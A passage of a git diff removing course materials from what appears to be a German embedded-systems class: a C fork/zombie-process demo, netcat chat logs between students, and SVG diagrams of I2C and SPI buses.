-        // Der Vaterprozess erzeugt nun einen Kindprozess,
-        // welcher unabh�ngig vom Vaterprozess mit der
-        // erneuten Ausf�hrung des Programms beginnt.
-        // Ein Kindprozess erzeugt keinen Fork von sich selbst.
-        pids[i] = fork();
-        if (pids[i] == 0) {
-            // dann befinden wir uns in einem der 10 Kindprozesse
-            // Der erste Kindprozess wartet 10 Sekunden und jeder
-            // weitere Kindprozess wartet 1 Sekunde k�rzer als der
-            // vorige.
-            printf ("%d BRAINS! ", i);
-            sleep(10-i);
-            exit(0); // Kindprozess erfolgreich beenden
-        }
-    }
-
-//
-//    // hier kommt nur der Vaterprozess vorbei
-//    for (i = 0; i < 10; ++i){
-//        // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-//        // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-//        // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-//        // die anderen Kinder l�ngst erfolgreich beendet wurden,
-//        // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-//        waitpid(pids[i], NULL, 0);
-//    }
-//
-
-    while (1);
-//    return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161103/nc-1.log b/20161103/nc-1.log
deleted file mode 100644
index 7a6f4f378d135ce0dbc0fe7453a1e8eee6f25e7e..0000000000000000000000000000000000000000
--- a/20161103/nc-1.log
+++ /dev/null
@@ -1,15 +0,0 @@
-cassini/home/peter/bo/2016ws/es/20161103> nc -l -p 1234
-hallo
-Auch Hallo.moep
-
-moep?
-
-Welche IP?
-Ach so - das kann ich ja nachgucken ...
-
-Sind Sie noch da?
-Herr Hoang?
-
-Ja das bin ich
-:D
-cassini/home/peter/bo/2016ws/es/20161103>
diff --git a/20161103/nc-2.log b/20161103/nc-2.log
deleted file mode 100644
index dab7b96eac1a47549e036ee5e8e38e237540f51f..0000000000000000000000000000000000000000
--- a/20161103/nc-2.log
+++ /dev/null
@@ -1,21 +0,0 @@
-cassini/home/peter> nc -l -p 1235
-hallo
-ich bins
-Bill
-cassini/home/peter> nc -l -p 1235#
-Hallo?
-Bill???
-
-Ist test
-da jemand?
-JA.
-Hallo.
-
-Htest
-err Larraß? Sind Sie das?
-
-Ja
-The cake is a lie
-
-^C
-cassini/home/peter>
diff --git a/20161103/photo-20161103-150203.jpg b/20161103/photo-20161103-150203.jpg
deleted file mode 100644
index 85ec1bad8a904a3c646e5e73aea760e7bb1a9dd3..0000000000000000000000000000000000000000
Binary files a/20161103/photo-20161103-150203.jpg and /dev/null differ
diff --git a/20161110/I2C_data_transfer.svg b/20161110/I2C_data_transfer.svg
deleted file mode 100644
index 4dba5a7e2ac2388dd69e52c8da66667716ed66f8..0000000000000000000000000000000000000000
--- a/20161110/I2C_data_transfer.svg
+++ /dev/null
@@ -1,216 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!-- Created with Inkscape (http://www.inkscape.org/) -->
-<svg
-   xmlns:svg="http://www.w3.org/2000/svg"
-   xmlns="http://www.w3.org/2000/svg"
-   version="1.0"
-   width="840"
-   height="140"
-   id="svg2">
-  <defs
-     id="defs4" />
-  <g
-     transform="translate(-416.4952,-467.9166)"
-     style="display:inline"
-     id="layer2">
-    <rect
-       width="40"
-       height="95"
-       x="483.14081"
-       y="479.86218"
-       style="opacity:1;fill:#fc0;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect3673" />
-    <rect
-       width="40"
-       height="95"
-       x="588.14081"
-       y="479.86218"
-       style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect8102" />
-    <rect
-       width="40"
-       height="95"
-       x="648.14081"
-       y="479.86218"
-       style="opacity:1;fill:#aad400;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect8104" />
-    <rect
-       width="40"
-       height="95"
-       x="708.14081"
-       y="479.86218"
-       style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect8991" />
-    <rect
-       width="40"
-       height="95"
-       x="768.14081"
-       y="479.86218"
-       style="opacity:1;fill:#aad400;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect9898" />
-    <rect
-       width="40"
-       height="95"
-       x="1003.1408"
-       y="479.86218"
-       style="opacity:1;fill:#aad400;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect12566" />
-    <rect
-       width="40"
-       height="95"
-       x="1168.1409"
-       y="479.86218"
-       style="opacity:1;fill:#fc0;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect14346" />
-    <rect
-       width="40"
-       height="95"
-       x="828.14081"
-       y="479.86218"
-       style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect14348" />
-    <rect
-       width="40"
-       height="95"
-       x="943.14081"
-       y="479.86218"
-       style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect14350" />
-    <rect
-       width="40"
-       height="95"
-       x="1063.1409"
-       y="479.86218"
-       style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline"
-       id="rect14352" />
-  </g>
-  <g
-     transform="translate(-416.4952,-467.9166)"
-     style="opacity:1;display:inline"
-     id="layer1">
-    <path
-       d="M 468.14082,489.86218 L 498.14082,489.86218 L 508.14082,514.86218 L 603.14082,514.86218 L 613.14082,489.86218 L 723.14082,489.86218 L 733.14082,514.86218 L 843.14082,514.86218 L 853.14082,489.86218 L 893.14082,489.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
-       id="path1872" />
-    <path
-       d="M 468.14082,539.86218 L 572.89082,540.11218 L 583.14082,564.86218 L 633.14082,564.86218 L 643.39082,539.61218 L 693.39082,539.61218 L 703.39082,564.61218 L 753.39082,564.61218 L 763.39082,539.61218 L 813.39082,539.61218 L 823.14082,564.86218 L 873.14082,564.86218 L 883.14082,539.86218 L 893.14082,539.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
-       id="path2780" />
-    <path
-       d="M 468.14082,489.86218 L 443.14082,489.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:6, 2;stroke-dashoffset:0;stroke-opacity:1"
-       id="path2782" />
-    <path
-       d="M 608.57609,500.90013 L 613.57609,515.90013 L 723.14082,514.86218 C 733.14082,489.86218 733.14082,489.86218 733.14082,489.86218 L 843.14082,489.86218 L 853.14082,514.86218 L 893.14082,514.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
-       id="path9011" />
-    <path
-       d="M 892.20309,514.86218 L 918.90804,514.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:4, 2;stroke-dashoffset:0;stroke-opacity:1"
-       id="path9903" />
-    <path
-       d="M 892.20309,489.86218 L 919.24904,489.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:4, 2;stroke-dashoffset:0;stroke-opacity:1"
-       id="path9905" />
-    <path
-       d="M 892.20309,539.86218 C 900.53643,539.86218 910.48947,539.86218 918.8228,539.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:4, 2;stroke-dashoffset:0;stroke-opacity:1"
-       id="path9907" />
-    <path
-       d="M 918.14082,539.86218 L 928.14082,539.86218 L 938.14082,564.86218 L 988.14082,564.86218 L 998.14082,539.86218 L 1048.1408,539.86218 L 1058.1408,564.86218 L 1108.1408,564.86218 L 1118.1408,539.86218 L 1243.1408,539.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
-       id="path11679" />
-    <path
-       d="M 1243.1408,489.86218 L 1218.1408,489.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:6, 2;stroke-dashoffset:0;stroke-opacity:1"
-       id="path12572" />
-    <path
-       d="M 918.14082,514.86218 L 958.14082,514.86218 L 968.14082,489.86218 L 1078.1408,489.86218 L 1088.1408,514.86218 L 1183.1408,514.86218 L 1193.1408,489.86218 L 1218.1408,489.86218"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
-       id="path12570" />
-    <path
-       d="M 918.14082,489.86218 L 958.14082,489.86218 L 968.14082,514.86218 L 1078.1408,514.86218 L 1082.6831,500.9039"
-       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
-       id="path12568" />
-    <text
-       x="428.36386"
-       y="506.65417"
-       style="font-size:6px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-       id="text17011"
-       xml:space="preserve"><tspan
-         x="428.36386"
-         y="506.65417"
-         style="font-size:12px;font-style:normal;font-weight:bold"
-         id="tspan17013">SDA</tspan></text>
-    <text
-       x="429.19003"
-       y="556.52917"
-       style="font-size:6px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-       id="text17019"
-       xml:space="preserve"><tspan
-         x="429.19003"
-         y="556.52917"
-         style="font-size:12px;font-style:normal;font-weight:bold"
-         id="tspan17021">SCL</tspan></text>
-  </g>
-  <g
-     transform="translate(-395.1819,-35.5544)"
-     id="layer3">
-    <text
-       x="1158.5015"
-       y="163.23318"
-       style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#ffd737;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans"
-       id="text25013"
-       xml:space="preserve"><tspan
-         x="1158.5015"
-         y="163.23318"
-         style="font-size:24px;font-weight:bold;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none"
-         id="tspan25015">P</tspan></text>
-    <text
-       x="473.97595"
-       y="163.52615"
-       style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#ffd737;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans"
-       id="text24124"
-       xml:space="preserve"><tspan
-         x="473.97595"
-         y="163.52615"
-         style="font-size:24px;font-weight:bold;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none"
-         id="tspan24126">S</tspan></text>
-    <text
-       x="633.73474"
-       y="163.23318"
-       style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#bcdd37;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans"
-       id="text25021"
-       xml:space="preserve"><tspan
-         x="633.73474"
-         y="163.23318"
-         style="font-size:24px;font-weight:bold;fill:#bcdd37;fill-opacity:1;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none"
-         id="tspan25023">B<tspan
-   style="font-size:18px"
-   id="tspan25029">1</tspan></tspan></text>
-    <text
-       x="752.724"
-       y="163.23318"
-       style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#bcdd37;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans"
-       id="text25031"
-       xml:space="preserve"><tspan
-         x="752.724"
-         y="163.23318"
-         style="font-size:24px;font-weight:bold;fill:#bcdd37;fill-opacity:1;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none"
-         id="tspan25033">B<tspan
-   style="font-size:18px"
-   id="tspan25045">2</tspan></tspan></text>
-    <text
-       x="986.49792"
-       y="163.23318"
-       style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#bcdd37;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans"
-       id="text25037"
-       xml:space="preserve"><tspan
-         x="986.49792"
-         y="163.23318"
-         style="font-size:24px;font-weight:bold;fill:#bcdd37;fill-opacity:1;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none"
-         id="tspan25039">B<tspan
-   style="font-size:18px"
-   id="tspan25043">N</tspan></tspan></text>
-  </g>
-</svg>
diff --git a/20161110/RS-232_timing-no-text.png b/20161110/RS-232_timing-no-text.png
deleted file mode 100644
index eb877b4e33bfb87f6a3230c82373db9f7470344d..0000000000000000000000000000000000000000
Binary files a/20161110/RS-232_timing-no-text.png and /dev/null differ
diff --git a/20161110/Retribution_Engine_Screenshot_120807.jpg b/20161110/Retribution_Engine_Screenshot_120807.jpg
deleted file mode 120000
index 19f4cb3e4aae1e24c3466a25b2c0e5ad90ee49e7..0000000000000000000000000000000000000000
--- a/20161110/Retribution_Engine_Screenshot_120807.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/Retribution_Engine_Screenshot_120807.jpg
\ No newline at end of file
diff --git a/20161110/SPI_single_slave.svg b/20161110/SPI_single_slave.svg
deleted file mode 100644
index b20e01c319aaa346f92e8921a37b5cf2c88ef19d..0000000000000000000000000000000000000000
--- a/20161110/SPI_single_slave.svg
+++ /dev/null
@@ -1,293 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!-- Created with Inkscape (http://www.inkscape.org/) -->
-<svg
-   xmlns:dc="http://purl.org/dc/elements/1.1/"
-   xmlns:cc="http://web.resource.org/cc/"
-   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-   xmlns:svg="http://www.w3.org/2000/svg"
-   xmlns="http://www.w3.org/2000/svg"
-   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
-   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
-   width="305pt"
-   height="95pt"
-   id="svg2"
-   sodipodi:version="0.32"
-   inkscape:version="0.45"
-   sodipodi:docbase="/home/cburnett/wikipedia/images/electronics"
-   sodipodi:docname="SPI single slave.svg"
-   version="1.0"
-   inkscape:output_extension="org.inkscape.output.svg.inkscape"
-   sodipodi:modified="true">
-  <defs
-     id="defs4">
-    <marker
-       inkscape:stockid="TriangleInL"
-       orient="auto"
-       refY="0.0"
-       refX="0.0"
-       id="TriangleInL"
-       style="overflow:visible">
-      <path
-         id="path2502"
-         d="M 5.77,0.0 L -2.88,5.0 L -2.88,-5.0 L 5.77,0.0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
-         transform="scale(-0.8)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow1Mend"
-       orient="auto"
-       refY="0.0"
-       refX="0.0"
-       id="Arrow1Mend"
-       style="overflow:visible;">
-      <path
-         id="path2585"
-         d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none;"
-         transform="scale(0.4) rotate(180)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow1Mstart"
-       orient="auto"
-       refY="0.0"
-       refX="0.0"
-       id="Arrow1Mstart"
-       style="overflow:visible">
-      <path
-         id="path2588"
-         d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
-         transform="scale(0.4)" />
-    </marker>
-    <marker
-       inkscape:stockid="TriangleOutL"
-       orient="auto"
-       refY="0.0"
-       refX="0.0"
-       id="TriangleOutL"
-       style="overflow:visible">
-      <path
-         id="path2493"
-         d="M 5.77,0.0 L -2.88,5.0 L -2.88,-5.0 L 5.77,0.0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
-         transform="scale(0.8)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow2Lend"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow2Lend"
-       style="overflow:visible">
-      <path
-         id="path3298"
-         style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round"
-         d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z "
-         transform="matrix(-1.1,0,0,-1.1,5.5,0)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow1Lend"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow1Lend"
-       style="overflow:visible">
-      <path
-         id="path3316"
-         d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(-0.8,-0.8)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow1Lstart"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow1Lstart"
-       style="overflow:visible">
-      <path
-         id="path3319"
-         d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(0.8,0.8)" />
-    </marker>
-  </defs>
-  <sodipodi:namedview
-     id="base"
-     pagecolor="#ffffff"
-     bordercolor="#666666"
-     borderopacity="1.0"
-     inkscape:pageopacity="0.0"
-     inkscape:pageshadow="2"
-     inkscape:zoom="4"
-     inkscape:cx="177.79428"
-     inkscape:cy="27.981633"
-     inkscape:document-units="px"
-     inkscape:current-layer="layer1"
-     inkscape:window-width="976"
-     inkscape:window-height="962"
-     inkscape:window-x="0"
-     inkscape:window-y="31" />
-  <metadata
-     id="metadata7">
-    <rdf:RDF>
-      <cc:Work
-         rdf:about="">
-        <dc:format>image/svg+xml</dc:format>
-        <dc:type
-           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
-      </cc:Work>
-    </rdf:RDF>
-  </metadata>
-  <g
-     inkscape:label="Layer 1"
-     inkscape:groupmode="layer"
-     id="layer1">
-    <g
-       id="g1994">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96931434px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 140.09375,31.34375 L 140.09375,32.3125 C 185.02221,32.3125 207.48663,32.3125 218.71875,32.3125 C 224.33481,32.3125 227.12724,32.3125 228.53125,32.3125 C 229.23326,32.3125 229.5745,32.3125 229.75,32.3125 C 229.83775,32.3125 229.88431,32.3125 229.90625,32.3125 C 229.91722,32.3125 229.93476,32.3125 229.9375,32.3125 L 229.9375,31.84375 L 229.9375,31.34375 C 229.9375,31.34375 229.95068,31.343751 140.09375,31.34375 z "
-         id="path3144" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77545147pt;marker-start:none"
-         d="M 234.41172,31.830319 L 227.70407,35.707576 L 227.70407,27.953062 L 234.41172,31.830319 z "
-         id="path2000" />
-    </g>
-    <g
-       id="g2002">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96867871px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 140.09375,46.9375 L 140.09375,47.90625 C 184.96331,47.90625 207.37636,47.90625 218.59375,47.90625 C 224.20245,47.90625 227.00408,47.90625 228.40625,47.90625 C 229.10734,47.90625 229.48098,47.90625 229.65625,47.90625 C 229.74389,47.90625 229.79059,47.90625 229.8125,47.90625 L 229.8125,47.4375 L 229.8125,46.9375 C 229.8125,46.9375 229.83288,46.937499 140.09375,46.9375 z "
-         id="path3330" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77494297pt;marker-start:none"
-         d="M 234.29035,47.433902 L 227.58709,51.308617 L 227.58709,43.559187 L 234.29035,47.433902 z "
-         id="path2008" />
-    </g>
-    <g
-       id="g2018">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96931434px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 140.09375,78.15625 L 140.09375,79.125 C 185.02221,79.124999 207.48663,79.125 218.71875,79.125 C 224.33481,79.125 227.12724,79.125 228.53125,79.125 C 229.23326,79.125 229.5745,79.125 229.75,79.125 C 229.83775,79.125 229.88431,79.125 229.90625,79.125 C 229.91722,79.125 229.93476,79.125 229.9375,79.125 L 229.9375,78.65625 L 229.9375,78.15625 C 229.9375,78.15625 229.95068,78.156247 140.09375,78.15625 z "
-         id="path3334" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77545147pt;marker-start:none"
-         d="M 234.41172,78.641034 L 227.70407,82.518291 L 227.70407,74.763777 L 234.41172,78.641034 z "
-         id="path2024" />
-    </g>
-    <g
-       id="g2010">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.00844264px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 145.75,63.4375 L 145.75,64.46875 C 190.60367,64.468751 213.03658,64.46875 224.25,64.46875 C 229.85671,64.46875 232.66082,64.46875 234.0625,64.46875 C 234.76334,64.46875 235.10604,64.46875 235.28125,64.46875 C 235.36885,64.46875 235.4156,64.46875 235.4375,64.46875 C 235.44845,64.46875 235.46601,64.46875 235.46875,64.46875 L 235.46875,63.9375 L 235.46875,63.4375 C 235.46875,63.4375 235.45733,63.437501 145.75,63.4375 z "
-         id="path2783" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.80675411pt;marker-start:none"
-         d="M 141.09578,63.949224 L 148.0742,59.915453 L 148.0742,67.982995 L 141.09578,63.949224 z "
-         id="path2016" />
-    </g>
-    <g
-       id="g2395">
-      <rect
-         y="19.101088"
-         x="21.676456"
-         height="72.187675"
-         width="118.28313"
-         id="rect1307"
-         style="fill:#ffc2a1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text2182"
-         y="52.045509"
-         x="46.81802"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="52.045509"
-           x="46.81802"
-           id="tspan2184"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan2186"
-           y="67.045509"
-           x="46.81802"
-           sodipodi:role="line">Master</tspan></text>
-      <text
-         id="text3061"
-         y="37.057228"
-         x="92.818016"
-         style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="37.057228"
-           x="92.818016"
-           id="tspan3063"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan3065"
-           y="52.057228"
-           x="92.818016"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan3067"
-           y="67.057228"
-           x="92.818016"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan3069"
-           y="82.057228"
-           x="92.818016"
-           sodipodi:role="line">SS</tspan></text>
-      <path
-         id="path2341"
-         d="M 93.8125,71.0625 L 107.03125,71.0625"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-    <g
-       id="g2374">
-      <rect
-         y="19.101088"
-         x="235.67645"
-         height="72.187675"
-         width="118.28313"
-         id="rect3084"
-         style="fill:#b9e179;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text3086"
-         y="52.045509"
-         x="328.81802"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="52.045509"
-           x="328.81802"
-           id="tspan3088"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan3090"
-           y="67.045509"
-           x="328.81802"
-           sodipodi:role="line">Slave</tspan></text>
-      <text
-         id="text3092"
-         y="37.057228"
-         x="244.81802"
-         style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="37.057228"
-           x="244.81802"
-           id="tspan3094"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan3096"
-           y="52.057228"
-           x="244.81802"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan3098"
-           y="67.057228"
-           x="244.81802"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan3100"
-           y="82.057228"
-           x="244.81802"
-           sodipodi:role="line">SS</tspan></text>
-      <path
-         id="path2343"
-         d="M 245.39063,71.0625 L 258.60938,71.0625"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-  </g>
-</svg>
diff --git a/20161110/SPI_three_slaves.svg b/20161110/SPI_three_slaves.svg
deleted file mode 100644
index c24a19730fd4bcd4b0305e255fadc772cca5ceeb..0000000000000000000000000000000000000000
--- a/20161110/SPI_three_slaves.svg
+++ /dev/null
@@ -1,546 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!-- Created with Inkscape (http://www.inkscape.org/) -->
-<svg
-   xmlns:dc="http://purl.org/dc/elements/1.1/"
-   xmlns:cc="http://web.resource.org/cc/"
-   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-   xmlns:svg="http://www.w3.org/2000/svg"
-   xmlns="http://www.w3.org/2000/svg"
-   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
-   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
-   width="290pt"
-   height="230pt"
-   id="svg2"
-   sodipodi:version="0.32"
-   inkscape:version="0.45"
-   sodipodi:docbase="/home/cburnett/wikipedia/images/electronics"
-   sodipodi:docname="SPI three slaves.svg"
-   version="1.0"
-   inkscape:output_extension="org.inkscape.output.svg.inkscape"
-   sodipodi:modified="true">
-  <defs
-     id="defs4">
-    <marker
